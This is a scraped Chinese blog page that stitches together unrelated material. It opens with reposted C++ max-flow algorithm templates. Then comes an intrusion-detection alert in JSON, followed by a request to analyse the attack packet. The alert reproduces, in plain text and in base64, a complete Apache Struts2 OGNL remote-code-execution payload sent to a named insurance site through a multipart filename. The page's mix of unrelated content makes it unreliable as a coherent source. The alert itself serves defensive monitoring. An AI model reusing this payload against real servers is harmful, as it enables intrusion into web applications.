Net FLow Template

博客包含EK模板和SAP + GAP模板相关内容,信息转载自https://www.cnblogs.com/wushuaiyi/p/3905529.html 。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

EK  Template :

bool bfs(int src, int des){
    memset(pre, -1, sizeof(pre));
    while(!que.empty()) que.pop();
    pre[src] = 0;
    int index;
    que.push(src);
    while(!que.empty()){
        index = que.front();
        que.pop();
        for(int i = src; i <= des; ++i){
            if(pre[i] == -1 && map[index][i] > 0){
                pre[i] = index;
                if(i == des)    return true;
                que.push(i);
            }
        }
    }
    return false;
}

int MaxFlow(int src, int des){
    int maxflow = 0;
    while(bfs(src, des)){
        int minflow = INF;
        int i;
        for(i = des; i != src; i = pre[i])  
            minflow = min(minflow, map[pre[i]][i]);
        for(i = des; i != src; i = pre[i]){
            map[pre[i]][i] -= minflow;
            map[i][pre[i]] += minflow;
        }
        maxflow += minflow;
    }
    return maxflow;
}

SAP + GAP  Template :

int sap(int u,int flow){
    if(u == src) return flow;
    int ans = 0, i, t;
    for(i = src; i <= des; ++i)
        if(map[u][i] && dis[u] == dis[i] + 1){
            t = sap(i, min(flow - ans, map[u][i]));
            map[u][i] -= t, map[i][u] += t,ans += t;
            if(ans == flow) return ans;
        }
    if(dis[src] >= n + 2) return ans;
    if(!--gap[dis[u]]) dis[src] = n + 2;
    ++gap[++dis[u]];
    return ans;
}
	src = 1, des = n;
	for(gap[0] = n + 2; dis[src] < n + 2; )
        ans += sap(src,INF);

  


 

转载于:https://www.cnblogs.com/wushuaiyi/p/3905529.html

{ "data_source_ip": "127.0.0.1", "metadata": { "flowbits": [ "TB.SYN", "TB.SYNACK", "tcp_pkt_1300_pass", "httpuri_js111", "chunk_proxy_response_chunked_header", "sensor.flowbits.filter_beh_resp", "TB.GET.SCRIPT.ACCESS", "httpuri_js", "CORELIGHT.Manjusaka.exfil", "post_req1" ] }, "data": "chexian.axa.cn/template/service/index.html", "input_time": 1753699907, "data_lower": "chexian.axa.cn/template/service/index.html", "machine_name": "chexian.axa.cn", "flow_credit_level": "NO MISS", "thread_id": 11, "incident_id": "a7a1fb711bf28938697abdca1099e0f3-1753698532", "event_type": "net", "assets": { "ext": "3", "is_target": false, "level": 1, "group_name": "", "ip": "10.0.0.0/8", "syslog_name": "", "section": "终端", "source": [ "manual" ], "mac": "", "update_time": "2024-06-17 13:56:33", "sub_type": "", "group_id": 0, "name": [ "默认资产" ], "location": "", "id": 3, "identity_type": 0 }, "flow_id": 76509844386627, "server_ip": "10.245.42.46", "geo_data": { "Area": "china_mainland", "Ip": "", "Country": "中国", "Latitude": "28.275575", "City": "长沙市", "Longitude": "112.836532", "Province": "湖南省", "ISO2": "CN" }, "id": "AZhQqPnCRg8PEgiiCjym", "net": { "is_https": 0, "real_src_ip": "113.247.223.7", "flow_src_ip": "10.247.37.203", "flow_src_port": 56810, "is_ipv6": false, "type": "http", "src_ip": "10.247.37.203", "flow_dest_mac": "3c:e8:24:77:72:65", "pkts_toserver": 768, "http_xff": "113.247.223.7", "bytes_toserver": 154385, "dest_port": 80, "flow_dest_ip": "10.245.42.46", "s2c_vlan": [ 941 ], "ticks": 116774946, "flow_src_mac": "50:6f:77:4e:18:0d", "app_proto": "http", "pkts_toclient": 1195, "src_port": 56810, "raw_event_type": "alert", "flow_dest_port": 80, "dest_ip": "10.245.42.46", "proto": "TCP", "http": { "method": "POST", "reqs_header": "Host: chexian.axa.cn\r\nX-Request-ID: a4efdaaea2610575724a805e492bbe0a\r\nX-Real-IP: 113.247.223.7\r\nX-Forwarded-For: 113.247.223.7, 117.44.77.30, 10.244.147.192\r\nX-Forwarded-Host: chexian.axa.cn\r\nX-Forwarded-Port: 80\r\nX-Forwarded-Proto: https\r\nX-Forwarded-Scheme: https\r\nX-Scheme: https\r\nX-Original-Forwarded-For: 113.247.223.7, 117.44.77.30\r\nContent-Length: 815\r\nuser-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko\r\naccept: */*\r\naccept-encoding: gzip,deflate\r\naccept-language: zh-cn,en-us;q=0.7,en;q=0.3\r\ncontent-type: multipart/form-data; boundary=-------------------------735323031399963166993862150\r\neo-connecting-ip: 113.247.223.7\r\ncdn-loop: TencentEdgeOne; loops=2\r\ntencent-acceleration-domain-name: chexian.axa.cn\r\neo-log-uuid: 399927046899199301\r\n\r\n", "reqs_line": "POST /template/service/index.html HTTP/1.1", "reqs_host": "chexian.axa.cn", "resp_header": "Server: nginx/1.26.1\r\nDate: Mon, 28 Jul 2025 10:51:55 GMT\r\nContent-Type: application/x-javascript;charset=UTF-8\r\nContent-Length: 404\r\nConnection: keep-alive\r\nvary: Accept-Encoding\r\nset-cookie: tpVisitorId=49077abb-b483-446f-aa22-0bcba766214d;max-age=15552000;Path=/;Secure;httponly\r\nset-cookie: app_cook=server3; path=/; HttpOnly; Secure\r\nContent-Security-Policy: default-src 'self' * data:; style-src 'self' http://* 'unsafe-inline' data:; script-src 'self' http://* 'unsafe-inline' 'unsafe-eval'; img-src * blob: data:;\r\n\r\n", "resp_line": "HTTP/1.1 200 OK", "tx_id": 30, "resp_set_cookie": "tpVisitorId=49077abb-b483-446f-aa22-0bcba766214d;max-age=15552000;Path=/;Secure;httponly;;app_cook=server3; path=/; HttpOnly; Secure", "url": "/template/service/index.html", "protocol": "HTTP/1.1", "resp_body": "{\"data\":{\"openCmsUrl\":\"https://www.axa.cn\",\"ecsalenomotorbackUrl\":\"https://policy.axa.cn/\",\"defaultAgentCode\":\"0\",\"ecsaleFrontUrl\":\"https://chexian.axa.cn/\",\"ecsaleUrl\":\"https://chexian.axa.cn\",\"status\":\"00\",\"resultMsg\":\"抱歉!根据ogsL50HvXD0Uip8JFjB0oY-np2b0查到数据为null\"},\"en_moreMoney\":\"\",\"insuredPersonAmount\":\"\",\"moreMsg\":\"\",\"msg\":\"\",\"statCode\":\"success\",\"status\":\"success\",\"success\":\"\"}", "domain": "chexian.axa.cn", "resp_content_length": 404, "reqs_content_length": 815, "reqs_body": "---------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name=\"xxxxx\"; filename=\"xxxxxxx\u0000%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=(@org.apache.struts2.ServletActionContext@getRequest())).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print(900000000+87654320+1)).(#ros.print(#req.getRealPath('/'))).(#ros.print(\"zionymous_\"+\"struts2rce_\"+\"046\")).(#ros.close())}\r\n\r\n\r\n---------------------------735323031399963166993862150--", "reqs_user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko", "status": 200 }, "bytes_toclient": 1697759 }, "packet_direction": "in", "raw_data": "{\"timestamp\":\"2025-07-28T18:51:47.201101+0800\",\"flow_id\":76509844386627,\"thread_id\":11,\"src_ip\":\"10.247.37.203\",\"src_port\":56810,\"dest_ip\":\"10.245.42.46\",\"dest_port\":80,\"flow_src_ip\":\"10.247.37.203\",\"flow_src_port\":56810,\"flow_dest_ip\":\"10.245.42.46\",\"flow_dest_port\":80,\"flow_src_mac\":\"50:6f:77:4e:18:0d\",\"flow_dest_mac\":\"3c:e8:24:77:72:65\",\"tx_id\":30,\"bytes_toserver\":154385,\"bytes_toclient\":1697759,\"pkts_toserver\":768,\"pkts_toclient\":1195,\"ticks\":116774946,\"tcp_rst\":false,\"tcp_option_ip\":\"\",\"tcp_option_port\":0,\"payload\":\"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=\",\"flow_credit_level\":\"NO MISS\",\"proto\":\"TCP\",\"event_type\":\"alert\",\"app_proto\":\"http\",\"app_proto_ts\":\"\",\"app_proto_tc\":\"\",\"buffer\":\"\",\"s2c_vlan\":[941],\"flow\":{\"app_proto\":\"\"},\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":3100154511,\"rev\":1,\"signature\":\"Mm.2138680ee46a2\",\"o_msg\":\"\",\"category\":\"\",\"severity\":3,\"family\":\"\",\"major_type\":\"\",\"machine_dir\":0},\"dns\":null,\"http\":{\"has_alert\":true,\"request_line\":\"\",\"request_line_encode\":\"UE9TVCAvdGVtcGxhdGUvc2VydmljZS9pbmRleC5odG1sIEhUVFAvMS4x\",\"response_line\":\"\",\"request_header\":\"SG9zdDogY2hleGlhbi5heGEuY24NClgtUmVxdWVzdC1JRDogYTRlZmRhYWVhMjYxMDU3NTcyNGE4MDVlNDkyYmJlMGENClgtUmVhbC1JUDogMTEzLjI0Ny4yMjMuNw0KWC1Gb3J3YXJkZWQtRm9yOiAxMTMuMjQ3LjIyMy43LCAxMTcuNDQuNzcuMzAsIDEwLjI0NC4xNDcuMTkyDQpYLUZvcndhcmRlZC1Ib3N0OiBjaGV4aWFuLmF4YS5jbg0KWC1Gb3J3YXJkZWQtUG9ydDogODANClgtRm9yd2FyZGVkLVByb3RvOiBodHRwcw0KWC1Gb3J3YXJkZWQtU2NoZW1lOiBodHRwcw0KWC1TY2hlbWU6IGh0dHBzDQpYLU9yaWdpbmFsLUZvcndhcmRlZC1Gb3I6IDExMy4yNDcuMjIzLjcsIDExNy40NC43Ny4zMA0KQ29udGVudC1MZW5ndGg6IDgxNQ0KdXNlci1hZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC83LjA7IFNMQ0MyOyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgLk5FVCBDTFIgMy4wLjMwNzI5OyAuTkVUNC4wQzsgLk5FVDQuMEU7IHJ2IDExLjApIGxpa2UgR2Vja28NCmFjY2VwdDogKi8qDQphY2NlcHQtZW5jb2Rpbmc6IGd6aXAsZGVmbGF0ZQ0KYWNjZXB0LWxhbmd1YWdlOiB6aC1jbixlbi11cztxPTAuNyxlbjtxPTAuMw0KY29udGVudC10eXBlOiBtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQplby1jb25uZWN0aW5nLWlwOiAxMTMuMjQ3LjIyMy43DQpjZG4tbG9vcDogVGVuY2VudEVkZ2VPbmU7IGxvb3BzPTINCnRlbmNlbnQtYWNjZWxlcmF0aW9uLWRvbWFpbi1uYW1lOiBjaGV4aWFuLmF4YS5jbg0KZW8tbG9nLXV1aWQ6IDM5OTkyNzA0Njg5OTE5OTMwMQ0KDQo=\",\"response_header\":\"\",\"request_body\":\"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=\",\"response_body\":\"\",\"flow_src_ip\":\"10.247.37.203\",\"flow_src_port\":56810,\"flow_dest_ip\":\"10.245.42.46\",\"flow_dest_port\":80,\"is_https\":0,\"is_http2\":0},\"metadata\":{\"flowbits\":[\"TB.SYN\",\"TB.SYNACK\",\"tcp_pkt_1300_pass\",\"httpuri_js111\",\"chunk_proxy_response_chunked_header\",\"sensor.flowbits.filter_beh_resp\",\"TB.GET.SCRIPT.ACCESS\",\"httpuri_js\",\"CORELIGHT.Manjusaka.exfil\",\"post_req1\"]},\"pat_info\":[{\"off\":56,\"len\":19}],\"in_iface\":\"ens25f1\"}", "source_format": 2, "device_id": "085C78079E9B34FE83AC3A5C3046B359", "input_type": "shm", "index": "tdp-2025-07-28", "input_uuid": "d23lcgt3ml9oqo4g59s0", "assets_machine": "默认资产__10.245.42.46", "server_port": 80, "behave_uuid": "shm76509844386627", "input_name": "shm_input", "ip_reputation": [ "info_gateway" ], "is_hw_ip": 0, "victim": "10.245.42.46", "external_ip": "113.247.223.7", "url_host": "chexian.axa.cn", "direction": "in", "url_path": "/template/service/index.html", "established": true, "last_modified_time": 1753699908, "machine_port": 80, "attacker": "113.247.223.7", "in_iface": "ens25f1", "behave_source": "shm-shm_input-127.0.0.1", "@timestamp": "2025-07-28T18:51:47+08:00", "is_black_ip": false, "run_mode": 0, "machine": "10.245.42.46", "is_newfile": 0, "data_type": "url", "time": 1753699907, "threat": { "msg": "检测到文件上传漏洞攻击,攻击者尝试使用%00截断,如报攻击成功,请及时检查截断攻击有没有利用成功。", "filter_by": [ "tdps.symbol.resp_body.json_has_array" ], "type": "exploit", "dest": "home_net", "result": "success", "characters": [ "is_in_success" ], "cap": 0, "pat_info": [ { "len": 19, "off": 56 } ], "payload": "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Inh4eHh4IjsgZmlsZW5hbWU9Inh4eHh4eHgAJXsoI2RtPUBvZ25sLk9nbmxDb250ZXh0QERFRkFVTFRfTUVNQkVSX0FDQ0VTUykuKCNfbWVtYmVyQWNjZXNzPygjX21lbWJlckFjY2Vzcz0jZG0pOigoI2NvbnRhaW5lcj0jY29udGV4dFsnY29tLm9wZW5zeW1waG9ueS54d29yazIuQWN0aW9uQ29udGV4dC5jb250YWluZXInXSkuKCNvZ25sVXRpbD0jY29udGFpbmVyLmdldEluc3RhbmNlKEBjb20ub3BlbnN5bXBob255Lnh3b3JrMi5vZ25sLk9nbmxVdGlsQGNsYXNzKSkuKCNvZ25sVXRpbC5nZXRFeGNsdWRlZFBhY2thZ2VOYW1lcygpLmNsZWFyKCkpLigjb2dubFV0aWwuZ2V0RXhjbHVkZWRDbGFzc2VzKCkuY2xlYXIoKSkuKCNjb250ZXh0LnNldE1lbWJlckFjY2VzcygjZG0pKSkpLigjcmVxPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlcXVlc3QoKSkpLigjcm9zPShAb3JnLmFwYWNoZS5zdHJ1dHMyLlNlcnZsZXRBY3Rpb25Db250ZXh0QGdldFJlc3BvbnNlKCkuZ2V0V3JpdGVyKCkpKS4oI3Jvcy5wcmludCg5MDAwMDAwMDArODc2NTQzMjArMSkpLigjcm9zLnByaW50KCNyZXEuZ2V0UmVhbFBhdGgoJy8nKSkpLigjcm9zLnByaW50KCJ6aW9ueW1vdXNfIisic3RydXRzMnJjZV8iKyIwNDYiKSkuKCNyb3MuY2xvc2UoKSl9DQoNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzM1MzIzMDMxMzk5OTYzMTY2OTkzODYyMTUwLS0=", "success_by": [ "resp_body_upload_success_str" ], "failed_by": [ "http_status_3XX", "http_status_4XX" ], "is_custom": false, "id": "d23lcgt3ml9oqo4g8prg", "tag": [ "File Upload/Write", "Mitre: T1190: Exploit Public-Facing Application", "Mitre: T1221: Template Injection" ], "is_0day": 0, "direction_mask": "111", "trans_type": [ "infil", "attack_out" ], "severity": 3, "phase": "exploit", "is_connected": 0, "high_light_content": "#00#", "suuid": "S3100154511", "level": "attack", "module": "autocc", "confidence": 60, "detect_source": "", "attacker": "src", "app_proto": "http", "custom_adjustment": 0, "out_link": 0, "uts": 1747394416, "app_class_data_username_weakpwd": "", "name": "文件上传攻击", "name_lower": "文件上传攻击", "topic": "上传恶意行为", "result_code": 3, "is_apt": 0, "status": 0 } }解析这个攻击报文
07-30
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值